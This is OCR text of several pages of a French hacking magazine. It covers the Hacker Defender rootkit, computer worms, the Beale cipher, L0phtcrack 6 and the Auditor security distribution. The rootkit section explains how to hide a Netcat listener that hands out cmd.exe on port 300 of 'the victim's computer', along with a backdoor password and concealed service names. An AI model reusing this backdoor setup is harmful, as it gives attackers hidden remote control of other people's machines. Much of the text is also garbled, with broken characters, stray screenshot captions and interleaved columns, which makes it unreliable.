du fichier INI

-:noservice

n'installe pas le rootkit

-:uninstall

bloque toutes les activites liees au
rootkit et le désinstalle de la memoire

Maintenant que vous connaissez, par-
tiellement, ce fabuleux software trés
puissant, il ne vous reste plus qu'a com-
prendre ses principales utilisations pra-
tiques. La plus évidente, et la plus clas-
sique : c'est de I'associer a Netcat. Un
autre software qui, pour un hacker, n'a
plus besoin d'étre présente. Egalement
appelé “le couteau suisse du hacker”,
I'une de ses fonctions les plus utiles
consiste a creer une connexion entre
votre ordinateur et celui de la victime.
Pour integrer Netcat dans Hacker
Defender, il suffit de spécifier dans le
fichier INI susmentionné l'instruction
specifique suivante :

:[St/Aartup\ Run/]
C:\nc.exe? —-L —p 300 -t —e cmd.exe

Ou “-p 300" indique l'ouverture de la
connexion de l'ordinateur de la victime
par le biais du port 300.

[set/tin/: \gs]
P:assw'\ord=hxdef-rulez

e
it Ba:ckd: "oor "shel1=hxdefRs. exe

Applicazione

Impostazioni di configura...
Impostazioni di configura...
Applicazicne

Documento di teste
Documento di testo
Documento di testo
Cartella compressa

Fil:eMappin\gh/ame=_. —=[Hacker Defender]=-._
Serv:iceName=Hackerbefender100
>Se|rvi:ceDisp< “yName=HXD Service 100
ser>vic:eD| |escr<ip:tTion=powerful NT rootkit
Dri<ve\rN:ame=HackerDefenderorvi00
D:riv>erFileNam/e=hxdefdrv. sys

[comments]

[ —
| readmefr [ czEcH INI HELP ]

toto je inifile pro nt rootkit

musi obsahovat dva seznamy souboru: [Hidden Table] a [Root Proces
seznam nazvu sluzeb: [Hidden Services],
seznam nazvu klicu registru: [Hidden Reg
seznam nazvu hodnot registru: [Hidden Regvalues],

3 }__ src

Keys],

specialni seznam programu_s parametry: [Startup Run],
seznam disku se zmenou volneho mista: [Free Space],
seznam skrytych portu [Hidden Ports]

a zakladni nastaveni: [Settings]

O Le fichier INI de configuration intégre également d’excellentes
instructions en tchéque (a vrai dire pas trés utiles) et en anglais

O voici le contenu du fichier ZIP par lequel Hacker Defender est
distribué. Il ne plaira pas a votre antivirus mais peu importe !
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“Pratagonistes.d'une bataille Sans fin-Gontre es antivirus, o

-Ges. petites-bétes envahissent-vos ordinateurs : -
les vers, un pefit chef-d'®uvre d'ingénierie informatique !

n ver est un programme ca-

pable de se répliquer et de

se diffuser de fagon autono-

me, et qui ne nécessite tou-
tefois aucun lien avec d’autres exé-
cutables pour infecter les systéemes.
A l'instar des vers réels qui rongent les
fruits de l'intérieur sans quasiment lais-
ser de traces a I'extérieur, les vers peu-
vent infecter les systémes sans que I'uti-
lisateur s'apercoive de leur présence, et
généralement, sans aucun ralentisse-
ment sensible de l'ordinateur et sans tra-
ces visibles. Dailleurs, ce n'est pas un
hasard si les vers représentent la majo-

p1a hackernewsmagazine |

rité absolue des virus informatiques ac-
tuellement en circulation, et donnent pas
mal de fil a retordre a tous les antivirus.
Rien d'étonnant donc a ce que leur pro-
grammation complexe exerce une sorte
de fascination perverse : n'étant pas hé-
bergés dans d’autres programmes, leurs
programmeurs disposent d’une liber-
té presque totale. Qui plus est, ils n'ont
aucune contrainte de taille ni de métho-
de de transmission. A I'heure actuelle, les
vers peuvent faire réaliser ce gqu'ils veu-
lent aux ordinateurs infectés, tout comme
ils parviennent a utiliser plusieurs métho-
des de contagion simultanément.

:: Modes de contagion

Les méthodes d’attaque des vers
sont plutét variées et la complexité
des softwares installés les favorise.
La méthode de contagion la plus utili-
seée actuellement : la messagerie élec-
tronique, qui permet d'infecter les sys-
temes a travers l'utilisation des techni-
ques les plus disparates. La plus éle-
mentaire : celle des mails qui arrivent
aux utilisateurs avec des pieces jointes
executables, des expéditeurs connus
et autres piéces jointes contenant le
ver. Bien sdr, ces messages ne sont



.
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pas envoyeés par les expéditeurs réels
mais par des répliques du ver, entrées
en possession de données essentiel-
les pour réussir leur duplication. A cet
égard, I'évolution des moyens tech-
niques et une bonne dose d'ingénie-
rie sociale, font des miracles : certains
vers en circulation récupérent ainsi sur
les ordinateurs infectés les mails en-
voyés et les dupliquent, en s'ajoutant
en piéce jointe, en les renvoyant et en
modifiant I'objet des mails. Ce compor-
tement, extrémement efficace, permet
aux vers de ne pas se polariser sur les
faiblesses des systéemes mais de se

concentrer sur leur future victime : un
utilisateur blogue difficilement les mes-
sages provenant d'un expéditeur avec
qui il a déja dialogué. En outre, signa-
lons que cette technique crée un cer-
tain niveau d'alerte permament chez
les utilisateurs non infectés, qui les in-
cite & ignorer de nombreux mails : cer-
tains antivirus refusent les messages
infectés, en avertissant les expéditeurs
de linfection. S'agissant d'expéditeurs
factices, la boite mail des amis de la
victime réelle se retrouve ainsi saturee
de messages d'avertissement. Socia-
lement, les utilisateurs donnent l'alerte.
Une alerte qui, rapidement, tombe dans
l'indifférence, en rendant méme totale-
ment inutiles les avertissements réels.

Autre méthode de diffusion plutét uti-
lisée : la contagion directe via réseau
LAN. En exploitant les bugs du systeme
d'exploitation hote, les vers parviennent
a se dupliquer d'ordinateur en ordina-
teur, en saturant le réseau du fait des
tentatives d'attaque. Qui plus est, la to-
tale liberté des programmeurs de vers
leur permet d'agir jusque sur les équi-
pements réseau, en creant des situa-
tions potentiellement dangereuses. Si,
sur le plan expérimental, des program-
mes & méme de modifier des configu-
rations de switch gérés et de routeurs

futur

Many of you

uiind ou

(®2® [ HACKING

sont parvenus a leurs fins, une telle
technologie ne tardera pas a se mon-
trer également utile pour les vers.

Par ailleurs, I'attaque directe n'exclut
en aucun cas l'attaque par mail ou vice
versa : et c'est justement de par la to-
tale liberté des programmeurs et l'ab-
sence d'un support auquel se connec-
ter, que les vers peuvent se transmet-
tre de plusieurs fagons voire simulta-
nément. Certains ont méme théorisé et
testé, avec succes, une technique qui
permet a un programme de jeter une té-
te de pont qui infecte un ordinateur et
de télécharger un code a partir du Net
pour s'adapter a l'environnement trou-
vé : une méthode d'infection qui don-
nerait vie a un nombre illimité et incon-
trolable de variantes d’'un méme virus,
en entrainant par-la méme des conse-
guences désastreuses.

Parallelement, les modes d'activation
d'un ver sont innombrables : une ten-
tative de duplication ne doit pas forcé-
ment survenir lors de l'infection, mais
peut étre réalisée selon un calendrier
précis ou lancée a distance. De mé-
me qu'une infection peut se manifester
dans un cadre bien spécifique ou res-
ter silencieuse pendant des mois et des
mois, en transformant l'ordinateur victi-
me en zombie inconscient. Spécifions

O Le site wildlist.org conserve un fichier mis a jour des virus en circulation mois par
mois : dans la plupart des cas, il s’agit justement de vers.
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a cet égard que l'absence d'activation
des fonctions d’'un ver n'empéche pas
l'ordinateur de rester contagieux : les
tentatives d’infection restent possibles
méme si le ver ne donne aucun signal
sur l'ordinateur infecté.

:: Installation du ver

Aprés avoir contaminé un sys-
teme, le premier objectif d’'un ver
consiste a assurer son installa-
tion définitive sur l'ordinateur.
Cette étape est justement la plus pas-
sionnante en termes d’analyse car les
vers actuellement en circulation utili-
sent, simultanément, un ensemble de
technologies qui les rend plutét dif-
ficiles & supprimer. Pour se garantir
une longue durée de vie sur un sys-
téme infecté, certains vers se dupli-
quent par exemple dans les dossiers
systéme avec des noms semblables a
ceux de fichiers Iégitimes, en rendant
ainsi leur identification manuelle pres-
que impossible. Bien s(r, le ver n'effec-
tue pas nécessairement qu'une seule
duplication : certains vers en circula-
tion créent plusieurs copies d'eux-meé-
mes, en en utilisant une comme pro-

cessus actif de systéme et en gardant
les autres comme copies de sécurité
ou copies lancées réguliérement pour
une restauration en cas de tentative
pour les supprimer. En outre, la plupart
des vers creent des fichiers avec des
noms codés et basés sur des caracte-
ristiques uniques de l'ordinateur, com-
me l'adresse MAC de la carte réseau.
De méme qu'ils appliquent des princi-
pes de métamorphose & leur propre
code, dans le but de rendre leur detec-
tion plus difficile. Cette derniére tech-
nique est tres complexe mais des Kits
de développement disponibles sur le
Net, I'ont mise a la portée de tous. El-
le consiste a déplacer des blocs de co-
de du ver a l'intérieur de I'executable,
en les maquillant par des blocs syno-
nymes (semblables de par leurs fonc-
tionnalités), de fagon a maintenir la co-
pie exécutable mais fonctionnellement
identique au fichier d’origine. Le fichier
qui contient cette copie spécifique du
ver est ainsi nettement différent du fi-
chier original, en masquant l'infection.
Lancrage au systéme d'exploitation,
donc le lancement du processus, peut
s'effectuer, ensuite, des fagons les plus
diverses : des clés ajoutées au registre,

CEer

Soluzioni Prodotti Download Acquista Rivendita

Pz ESET
NOD32

antivirus system

[¥] Utenti privati [*] Piccole 8 Medie Imprese

+ 3 buoni motivi per scegliere NOD32

Il migliore. Il pid leggero. Il pii veloce.

Miglior Antivirus

2008

Difess Prosatziva & Performance

ESET NOD32 ha vint

N NOD32 est un antivirus particuliérement actif dans la prévention et
la suppression de vers, grace a son systéme spécifique de protection
intégrée et proactive, spécialement étudié pour ce genre d’infection.
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Versione

Yirus:
File:

- Actlon

C miglior

- Detected

Worm.Win32.Fujack.aa

Zi\Program FlestiFeZllaiuninstal.e e

Flle contains virus and cannot be
Disinfected

[ ] Apply to at

aux mots ajoutés aux fichiers .INI,, en
passant par le remplacement de pro-
grammes légitimement installes sur
la machine par d’autres programmes
semblables contenant, toutefois, les
fonctions pour lancer le processus d'in-
fection. A cet égard, la présence de
programmes extrémement comple-
xes, composés de centaines de DLL
et autres exécutables, est particuliére-
ment nuisible : il est presque impossi-
ble d’identifier correctement une DLL
qui fonctionne par exemple normale-
ment mais qui renferme également un
code malveillant. En outre, les ancra-
ges au systeme d’'exploitation sont ge-
néralement multiples et les vers inté-
grent des procédures qui leur impo-
sent de ne pas se répliquer simulta-
nément. Objectif ? Rendre les opéra-
tions de nettoyage difficiles, a tel point
que pour certains,vers particulierement
dangereux, cette opération necessite
des programmes complémentaires aux
antivirus officiels. Par chance, les vers
qui remplacent les DLL systéme par
des copies opérationnelles mais infec-
tées, sont encore peu nombreux, mais
nous avons a eu écho de différentes
expériences en ce sens : une voie plu-

(N [ utilisation d’un antivirus avec systéme de protection résident
vous permettra de surfer en toute tranquillité. Mais il doit étre mis a
jour réguliérement sous peine d’étre totalement inutile.
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cts' ability to keep up with the
floed of new malware emerging
around the world, as well as their
proactive detection capabilities - putting heuristic and

generic technology to the test. The results of the first Agent

three rounds of RAP testing can now be v d.
Featured articles

VEB100 on Windows 2003

! advertise here
Server x64 ©

L]
This month's comparative Mytob

review tackles the 64-bit
version of Windows Server
2003 - with the platform
bringing out quite a number of
quirks and oddities in several
of the products under test. John Hawes presents a
round up of the results including the latest RAP

read by IT professicnals
the world over

tot dangereuse dans la mesure ou elle
rendrait extrémement complexe la pro-
cédure de detection du ver. Les techni-
ques qui tentent de bloquer d'éventuels
antivirus actifs sur le systéme d’exploi-
tation infecté, font partie intégrante des
derniers vers en circulation : certains
vers parviennent a identifier le nom et la
version d'un éventuel antivirus, en agis-
sant sur le systéme pour bloguer ou dé-
jouer les systemes de détection. C'est
pourquoi il est fondamental de met-
tre a jour votre antivirus : de nombreux
vers savent comment se comporter fa-
ce aux plus anciennes versions des
AV les plus répandus, et parviennent a
contourner leurs protections, avec les
conséquences que Vous n‘aurez aucun
mal & imaginer...

:: Selle et unigue raison

Mais pourquoi utiliser des tech-
niques si sophistiquées pour in-
fecter un ordinateur ? La re-
ponse est simple : |'argent !
Contrairement aux virus développés il
y a encore quelques annees, a des fins
démonstratives, les vers proliférent en
vue d'atteindre les objectifs les plus di-
vers a travers l'utilisation d'ordinateurs
infectés. Exemple de comportement qui
nuit directement aux utilisateurs : l'instal-

Virus Name
Autorun

NetSky

Virut

Invoice

]
=
|
Dropper-misc |
|
]
|
|

Suspect packers

Anti-spam testing - lates!

(DD @] e

O Sur le site virusbtn.com, vous trouverez les tests auxquels les
antivirus commercialisés ont été soumis. L’attention portée au
phénoméne des vers est plus qu’'évidente !
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Prevalen

n to view this m

lation de keyloggers capables de trans-
mettre des mots de passe et informa-
tions au créateur du ver. Autre exemple :
la capture et la transmission d'informa-
tions sur les mails présents (adresses
d'expéditeurs, de destinataires, conte-
nus des mails). En théorie, il n'existe
aucune limite aux opérations réalisables
sur l'ordinateur victime, surtout si celui-ci
est connecté en permanence au Net, y
compris le fait d'étre redirigé sur des si-
tes par défaut, les publicités intempes-
tives, escroqueries, etc.. Bien qu'étant
nuisibles, ces techniques sont actuel-
lement considérées comme les moins
dangereuses puisqu’elles frappent les
particuliers. Les vers créés dans le but
d'insérer les ordinateurs infectés dans
des grids (grilles) malveillantes, sont en
revanche nettement plus dangereux.
C'est le cas, par exemple, des ordina-
teurs impliqués dans des attaques par
déni de service ou de ceux utilisés pour
des attaques par Force Brute. Des tech-
niques qui, outre le fait de représen-
ter un danger pour les principales victi-
mes, ont également des répercussions
considérables sur la communauté d'or-
dinateurs non infectés : la duplication
des vers et la coordination des attaques,
outre les attaques elles-mémes, utilisent
en effet de la bande passante, en ralen-
tissant ainsi la totalité du Net.

Microsoft Malware Protection Center
Threat Research and Response

) sur son site www.microsoft. com/security/portal, Microsoft
classe les infections trouvées par Windows defender. On peut voir
que la encore, les vers sévissent.

. Technigues de défense

Si les créateurs de vers se creusent
la cervelle pour concevoir les fu-
tures catastrophes informatiques,
une vaste communauté de techni-
ciens est, quant a elle, constamment
sur le pied de guerre pour prendre
les contre-mesures nécessaires.
Premiére méthode pour se défendre
contre les virus normaux : un bon antivi-
rus, mis a jour frequemment. Clest la pre-
miere barriere de defense de tout ordina-
teur. Le second outil de protection n'est
autre qu'un bon pare-feu. Non pas celui
inclus dans Windows, facilement déjoua-
ble, méme par les virus les moins évo-
lués, mais plutét I'un des nombreux pro-
duits commerciaux a votre disposition.
Le mieux, c'est encore d'installer un pa-
re-feu hardware, qui incorpore des syste-
mes de contrdle du trafic de connexion.
Des qgu'ils detectent un trafic anormal,
ces pare-feu peuvent intervenir automa-
tiguement, en bloquant les connexions et
en limitant la contagion. Autres outils uti-
les : les sandbox. Il s'agit generalement
de machines virtuelles ol l'on peut tes-
ter les programmes avant de les instal-
ler sur le systeme principal. Une métho-
de qui vous mettra a I'abri de la plupart
des malwares en circulation, en échan-
ge d'une petite perte de temps.

pl hackernewsmagazine
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eux des trois suites de chit-
fres écrites en 1822 par un
certain Thomas Beale résis-
tent toujours aux attaques

place les lettres du texte a coder
par le chiffre du mot auquel
correspond la premiére lettre.
Si le processus est réalisé manuel-

la Déclaration d’Indépendance des
Etats-Unis d’Amérigue. Par contre, les
deux autres textes résistent encore
a tout type d’analyse. Le probleme,

des meilleurs cryptanalystes du
monde. Ces trois messages consti-
tuent la clé pour découvrir un trésor
d’une valeur colossale. Ces derniers
ont été chiffrés a travers une technique,
de Beale méme, qui utilise des textes
entiers comme clé. Info ou intox, le
chiffre de Beale se caractérise par un
algorithme passionnant et facilement
utilisable dans la vie courante. Il merite
donc qu'on s'y attarde quelque peu...

.: Déclaration
d'indépendance

Le mécanisme de codage est pres-
que banal. On prend un texte, on
numérote chaque mot et on rem-

lement, le temps de

chiffrement et de
déchiffrement reste
acceptable. S'il est
réalisé par le biais
de procédures
automatiques, le
systeme est alors
plutét rapide et
permet d’utiliser
des textes méme
trés longs. Exem-
ple d'application
de cet algorithme :
les cryptogram-
mes mémes de
Beale. Le second
a été déchiffré en
utilisant le texte de

m PSEuDOCODE: W

CHIFFRE

Input texteclair
Split texteclair
Déclarations : parsevar, chiffré (= null)
Pour chaque texteclair(x)
Lire texte clé jusqu’au mot numéro parsevar
parsevar = parsevar +1
si majuscule(clé(parsevar))=majuscule(clair(x))
chiffré=chiffré&”,”&parsevar
X++
parsevar = parsevar +1
fin cycle
output chiffré

T T PRy




c'est que cet algorithme ne
posséde pas les faiblesses
typiques des systemes de
chiffrement, méme moder-
nes. Tout d’abord, la clé peut
étre bien plus longue que le
message, et a usage unique.
Autrement dit, I'analyse des
chiffres composant le mes-
sage codé ne fournira aucun
- résultat quant a la répétition
des lettres. De méme, toute
tentative de casser la sécurité
par Force Brute est destinée a
échouer, vu la large quantité
de clés possibles : tout texte,
en tout genre, peut étre utilisé
comme clé. En outre, l'algo-
rithme peut étre paramétré
pour éviter la répétition des
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tionne que si I'on utilise des
clés d'une longueur réduite,
car les longues clés peu-
vent exiger beaucoup trop
d’espace mémoire avec un
colt de traitement qui pour-
rait s'avérer particuliérement
onéreux. En choisissant un
texte de 300 & 400 caracteres
et une clé comme la Divine
Comédie, le colt du codage
en termes de mémoire serait
inutilement élevé.

C’est pourquoi, il semble plus
judicieux de prévoir un analy-
seur syntaxique capable de
travailler directement sur le
fichier texte de la clé, de fagon
a se limiter a la transposition
du texte en clair. De méme,

chiffres, en supprimant totale-

en introduisant I'impossibilité

ment tout support d’analyse :
le texte chiffré est une suite
de nombres apparemment
aléatoire. Méme avec les
variations permettant d’'évi-
ter les problemes typiques des textes
chiffrés, le décodage peut devenir
un procédé mnémonique : il suffit
d’avoir le texte original. Seul point
susceptible de poser un probléme :
P'utilisation de la méme clé pour plu-
sieurs messages, qui exposerait les-
dits messages a une analyse com-
parative. Un probléme qui ne devrait
pas se poser ici : le chiffre de Beale
n'est autre qu’un systéme avec clé
“one shoot”, qui ne devrait donc pas
étre utilisé pour des échanges de
messages basés sur la méme clé.

:: Détails importants

La premiere étape consiste
arécupérer le texte en clair
a coder. Il suffit ensuite
de l'insérer dans un array
pour pouvoir travailler
facilement avec la chaine.
Dés lors, il suffira d’orga-
niser un cycle, du premier
au dernier caractére pour
implémenter le codage.
La seconde étape consiste &
récupérer un texte en entrée,
la clé, en la placant dans un
espace mémoire qui per-
mette I'accés numéral aux
mots. Pour des textes courts,

X++
fin cycle

O La seconde clé de chiffrement de Beale. La seule déchiffrée !
Les deux autres résistent encore : toutes les techniques ont
échoué face a leur algorithme, quasi inattaquable...

on peut utiliser un simple array, créé

avec un split basé sur les espaces,
d’'une chaine de texte.

En réalité, vous devriez vous retrouver
avec un tableau au lieu d’'un array : un
split servira a séparer les mots entre
eux et un second split vous permettra
de diviser les mots en caractéres (si
votre langage ne permet pas de se
référer directement aux caracteres
qui composent une chaine), de fagon
a simplifier au maximum les compa-
raisons. La référence numérale a la
premiére lettre (et sa comparaison
avec le texte a coder) se basera ainsi
sur de simples cycles.

En effet, cette approche ne fonc-

PSEUDOCODE :

EN CLAIR

Input chiffré

Split chiffré(",”)

Déclarations : texteclair (= null)

Pour chaque chiffré(x)
Lire texte clé jusqu'au mot numéro chiffré(x)
texteclair=texteclair& chiffré(x)(1)

output texteclair

d'effectuer un pas en arriére
avec l'analyseur syntaxique,
les lettres seront obligatoire-
ment codées de fagon uni-
voque, en supprimant toute
possibilité d’analyse du chiffre.

Vous devez ensuite vous assurer que
le texte en clair ne puisse pas étre
trouvé avec quelques faiblesses intrin-
seéques. Les chiffres du texte en clair
peuvent notamment étre difficilement
codés en éventuel texte chiffré, a
moins que ces derniers ne soient écrits
de fagon explicite : “un” a la place de 1,
cent vingt-trois mille quatre cent vingt-
et-un a la place de 123 421, et ainsi
de suite. En utilisant cette astuce, le
texte chiffré acquiert méme un niveau
supérieur de complexité, en limitant
ultérieurement les possibilités d’inter-’ l
ception. Pour finir, il convient égale-
ment de prendre en compte
le probléeme de I'échange de
clés : une difficulté connue de
tout systeme de chiffrement.
En réalité, I'utilisation de tex-
tes disponibles sur le marché,
surtout s'il s’agit de livres ou
revues publiés, permet de sug-
gérer a votre destinataire la
clé a utiliser et ce, méme si
vous étes en public. Les hypo-
théses et les idées sont les
plus disparates : d’'innocentes
phrases d’état des réseaux
sociaux jusqu’a la commande
de livres en ligne.
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resque 3 ans aprés sa der-
niere version (LC5), cet
outil indispensable nous
revient sous une forme
totalement revue et corrigée.
La version précédente avait été vendue
a Symantec qui, contrainte d'obéir aux
nouvelles regles imposées par le gou-
vernement ameéricain, ne pouvait la
vendre hors des USA et du Canada.
En réalité, Symantec avait achetée
I'entreprise qui avait produit l'outil, @
stake, sans doute pour contréler un
produit qui ne fonctionnait que trop
bien, empiétait sur “son” marché et
trop puissant pour pouvoir étre integré
a son offre commerciale. Mais c'est
justement début 2009, que I'équipe
d'origine de LOphtcrack a rachetée le
software a Symantec pour le mettre a
jour vers la version 6 (LC6), en le pro-
posant librement sous forme de démo
(www.lOphtcrack.com).

[p20 ] [ hackernewsmagazine !

Décauvrez [es caractéristigues |
e la nouvelle version du GEIERre
ouil d assage de mots d passe..

:: Les nouveautes

Outre un support d'algorithmes mul-
tiprocesseur, un systéeme de sur-
veillance réseau et de décodage, LC6
est composé de différents outils trés
intéressants dans la mesure ot ils
sont programmables et permetient
d’exploiter la puissance de calcul
des versions 64 bits de Windows.
Qui plus est, il s'agit toujours de l'outil
le plus simple & utiliser pour récupérer
des mots de passe, avec une interface
intuitive et facile d’utilisation. Mais ce
n'est pas tout. Certains wizards ont, en
effet, été introduits : ils permettent ega-
lement a I'administrateur le moins expe-
rimenté de réaliser des analyses de
securité de haut niveau, en recevant tout
un tas d'informations qui, avec d'autres
méthodes, prendraient beaucoup plus
de temps (tout en nécessitant bien plus
de connaissances). Au-dela de notre

jugement personnel, ce programme
a en effet le mérite d'organiser la col-
lecte d'informations, en 'accompagnant
de représentations graphiques et de
données statistiques, a méme de satis-
faire jusqu’aux plus exigeants.

€\ Linterface de la nouvelle version
delOphtcrack a été revue et corrigée, avec
un look franchement plus moderne !
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O Grace aux procédures wizards, I'utilisa-
tion du programme est simple et intuitive et
ce, méme pour les moins expérimentés.

:: Garacteristigues de I'outil

La liste des fonctions de LC6 est trés
longue. Nous ne reporterons donc
ici que les principales informations
dont I'équipe a déja fait la publicité :

Password Scoring

LC6 évalue les mots de passe en
fonction des toutes derniéres sta-
tistiques générées par le monde de
I'entreprise. Les éventuels résultats
peuvent étre les suivants : Strong,
Medium, Weak, or Fail.
Pre-computed Dictionary Support
Pour des sessions de vérification des
sécurités, il faut obligatoirement pos-
séder des dictionnaires de mots de
passe pré-calculés, LC6 supportant
quant a lui les hashes des mots de
passe. Un audit peut ainsi durer
guelques minutes au lieu de plusieurs
heures voire des jours.

Windows & Unix Password Support
LC6 importe et cracke des fichiers de
mots de passe d'Unix et effectue un audit
a partir d'une seule interface réseau.
Remote password retrieval

LC6 peut importer les mots de passe
d’'un Windows distant, y compris les
versions 64 bits de Vista, Windows
7 et les machines UNIX, sans autre
software tiers.

Scheduled Scans

Laudit de LC6 peut étre programme sur
une base quotidienne, hebdomadaire,
mensuelle ou encore n'étre realisé
qu'une seule fois.

Remediation

LC6 propose une évaluation de solu-

tions alternatives pour les comptes
dotés de mots de passe peu fiables.
Ces comptes peuvent étre désactivés
ou l'expiration de feurs mots de passe
peut étre directement paramétrée
depuis linterface de LCB.
Updated Vista/Windows 7 Style Ul
Linterface utilisateur a été ameliorée et
actualisée. Daventage d'informations
sont accessibles pour chague compte,
y compris I'age du mot de passe. l'état
des blocages et I'état du compte (s'il est
actif ou a éte désactive par exemple).
Executive Level Reporting
LC6 dispose d'une interface real-time,
divisée en plusieurs colonnes. Les
résultats des audits sont affichés sur la
base de la méthode d'audit, du niveau
de risque et du set des caractéres uti-
lises par le mot de passe.
Password Risk Status
Affiche I'état du risque en gquatre cate-
gories différentes : Empty, High Risk,
Medium Risk, and Low Risk.
Password Audit Method
Affiche l'intégralite des quatre
meéthodes utilisées par LC6 : Dic-
tionary, HybridHybrid, Precomputed,
and Brute Force.
Password Character Sets

ffiche I'intégralité du set de carac-
teres utilisés, en incluant des carac-
téres alphanumériques, sym-
boles, caractéres internationaux.
Password Length Distribution
Affiche la longueur moyenne du mot de
passe découvert pour chague compte.
Summary Report
Résume |'état du mot de passe
(Locked, Disabled, Expired) ou
indique si le mot de passe a été cree

] tgruore Cached Cradentials

[A] LOphtcrack peut récupérer les mots
de passe dans un réseau Windows
NT72000/2003 et Unix sous ssh.

O Les rapports des actions réalisées sont
présentés sous forme graphigue, pour un af-
fichage et une compréhension immédiats.

il y a plus de 180 jours.

Summary

Nombre de comptes crackes et nombre

de noms de domaine testés.

Foreign Password Cracking

LC6 supporte les set de caractéres
étrangers pour la Force Brute, tout

comme les dictionnaires externes. Par

le biais des menus déroulants, vous

pouvez modifier la langue et e set de

caractéres. LC8 est toutefois fourni avec

différents dictionnaires étrangers.

:: S0N coit ?

LC6 est réellement un produit
destiné a révolutionner 'univers
des outils de sécurité. Qui plus
est, il est disponible en trois ver-
sions pour toutes les bourses :
Professional (2958), Administrator
(595%) et Consultant (11958). Concre-
tement, les deux derniéres different
de par la quantité de clients qui peut
étre analysée et de par un contrdle
avancé des tables de hash des mots
de passe. Pour vous faire une idée
de toutes les possibilités proposées,
outre ie fait de tester carrément le
produit dans sa version demo qui
permet d'effectuer différentes ana-
lyses, nous vous conseillons de lire
la documentation. Les manuels sont
librement consultables sur le Net, a
'adresse HYPERLINK “http://www.
[Ophtcrack.com/help”www.l0phtcrack.
com/help. Vous y trouverez également
différents tutoriels expliquant pas a
pas la facon de lancer une analyse
par le biais de LC8,
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| ous avons récemment parlé
de BackTrack 4 Béta. En
attendant la sortie de sa
B 8version finale, étudions
d’un peu plus prés Auditor Secu-
rity Collection, la distribution qui
a donné naissance a BackTrack.
Auditor esti un systeme live qui, au
départ, était basé sur Knoppix. Depuis
2005; il'se base en revanche sur Kano-
tixiet ce, dufait'de différentes améliora-
tionsiapportees. Avantage d'un systeme
live'i |a possibilité' de!le tester sur n'im-
porte quelle:machine a disposition sans
toucher a sa configuration. Un point trés
intéressant pouriles spécialistes aui peu-
vent étreameneés ai veérifier la sécurité
a partir d'un neeud duiréseau lors d'un
état des lieux. Dans les dernigres ver-
sions déliviées (autrefois sous e logo de
www.remote-exploit.org), un script gra-
phique a toutefois été intégré, pour une
installation stable sur disque dur et ce,
pour passer facilement deila versionlive
en lecture seule aila version standard
totalement persennalisable.

:: Présentation d’Auditor

Auditor est un véritable arsenal de
guerre pour la sécurité informatique,
avec plusieurs applications pré-ins-
tallées dédiées a des tests d’infil-
tration de réseaux
LAN/WLAN et des
outils pour for-
cer des dispo-
sitifs bluetooth.
Pour résoudre cer-
tains' problemes de
compatibilité avec
lesi dispositifs: Wi-Fi
d'Intel (qui, en 20086,
n‘avaient toujours
pas été résolus),
la derniere version
d’Auditor réalisée
a ete délivrée sous
deux versions : avec
support IPW2100
(Auditor-200605-
02-ipw2100.is0) et
sans ce support

e

Initializing peripherals
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(Auditor-200605-02-no-ipw2100.is0).
Sivous avez besoindu driver IPW2200,
nous vous déconseillons alors d’utili-
ser |a version avec le driver IPW2100,
a moins de mettre a jour manuelle-
ment le kernel de Linux (2.6.11) et de

auditor
security collection

=

www.remote-exploit.org

TORE Y

A Chargement de P'interface graphique d’Auditor. Lors du boot
systéme, vous pouvez sélectionner quelques modes graphiques, dont
le mode fail-safe si vous rencontrez des problémes d’affichage.




franchir ces limites.
Auditor propese un
environnement stan-
dardisé et stable qui
facilite son appren-
tissage et son wtili-
sation. Une attention
particuliere aéteé por-
tée a saprésentation
pourleirendrelle pius
convivial possible,
tout en maintenant
la puissance de ses
outils, a commencer
par leur classification

Suditor Tetallatien (6 3-30)

A1t

" T 53] v

quireproduitlespha-
ses d'un controle de

Oie script d'instaliation est ceries spartiate, mais fonctionnel. Vous

securité : foot-prin- pouvez partitionner votre disque dur et lancer l'installation.

ting, analysis, scan-

ning, wireless, brute forcing, eracking.
Différentes applications d'usage courant
sont également présentes (I'ineontour-
nable Firefox, mais aussi d'autres navi-
gateurs). Ces dernieres facllitent lactivité
danalyse et l'utilisation de [a distribution,
mais les outils spécifiques dédies auxitests
de securité constituent réellementlle point
fort du programme. Certains ont meme
été reecrits ou convertis pardauires sys-
temes et plates-formes afinid’en mettre le
plus possible sur un seul CB-ROM. Cer-
tains outils, comme Wellenreiter et Kismet,
ont ainsi éte equipes d'une identification
automatique du hardware pour eviter des
configurations agagantes ou ennuyeuses
des cartes sans fil.

= Oul télécharger Auditor 2

A partir de quel site peut-on télé-
charger Auditor ? Une question
qui peut paraitre étrange mais qui,
au final, ne I'est pas tant que ¢ca'!
Vious aurez en effet du mal a trouver
des sites quipermettent de telecharger
les images ISO de cette distribution et
ce, dans |la mesure ou il s’agit d'une
distribution qui n'est plus supportee et
qui plus est, a la limite de la legalite.
Léquipe qui l'a developpé, Remote-
Exploit, ne I'affiche méme plus sur

son site. Pour I'helre, voici un site
mireir quille imet a disposition : |nttp:/
fipidkuug:dk/security/Auditor.

.: Consitérations

Auditor représente par de nombreux
coté un outil didactique qui permet
d’évaluer sérieusement la sécu-
rité d’'un systéme ou d’un réseau.
Son utilisation est clairement limi-
tée par les competences de |['utili-
sateur, mais l'orientation donnée au
niveau de son interface incite a tes-
ter de nouvelles possibilités et done
a apprendre a utiliser des outils plus
complexes. Pour ne ¢iter qu'in exem-
ple, irremplacable Nmap est indi-
que comme faisant partie des outils
dedies a llidentification d'un systeme
d'exploitation, et peut étre lancé a
partirduimenu dans ce seul but, mais
noussavans bien queson potentiel va
bien au-dela. Bien qu'apparemment
dépasse par les versions de Back-
Track, il représente a mon avis un
excellent point de départ pour ceux
qui'souhaitentapprofondirles thema-
tiques de securite et done evaluer les
nouvelles distributionsen fonetion'des
criteres de clarete et de fonctionnalite
quicavaient ete lintegres dans Auditor.

~eSnort2.3.2-5

Voici les outils intégrés a la derniére
version d’Auditor. Curieusement exclu
de BT4, Nessus apparait également.

e proxychains 1-8-1 (pour un scanning
via proxy plus facile)

e yersinia-0.5.4

o kismet-logfile-viewer klv.pl et klc.pl

o ntp fingerprinting tool

o tftp bruteforce tool

o snmp fuzzer

e cisco torch 0.4b

e unicornscan 0.4.2

o packit

o sendip

e nasl 2.2.4

o tcpick

o Crypicat

e amap version 4.8

e fcpsplit

o Ethereal version 10.11

e ettercap-ng-0.72 avec modification
apportée a etter.conf

o snmp tools remplace tinysnmp

o vnc2swf /usr/X11R6/bin/recordwin
et vnc2swf

o edit_vnc2swf.py

o edit_mp3.py

e Wpa-supplicatiant 0.3.8

o hostapd-utils 0.3.7

e ssldump

o fragrouter

